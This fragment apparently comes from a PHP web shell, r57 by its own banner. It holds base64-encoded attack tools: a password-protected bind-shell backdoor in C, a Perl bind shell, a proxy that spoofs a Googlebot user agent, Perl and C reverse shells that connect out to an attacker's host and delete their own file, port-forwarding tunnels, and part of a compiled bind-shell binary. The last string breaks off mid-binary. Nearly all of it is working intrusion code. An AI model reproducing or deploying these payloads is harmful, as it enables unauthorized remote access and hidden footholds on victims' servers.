$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsA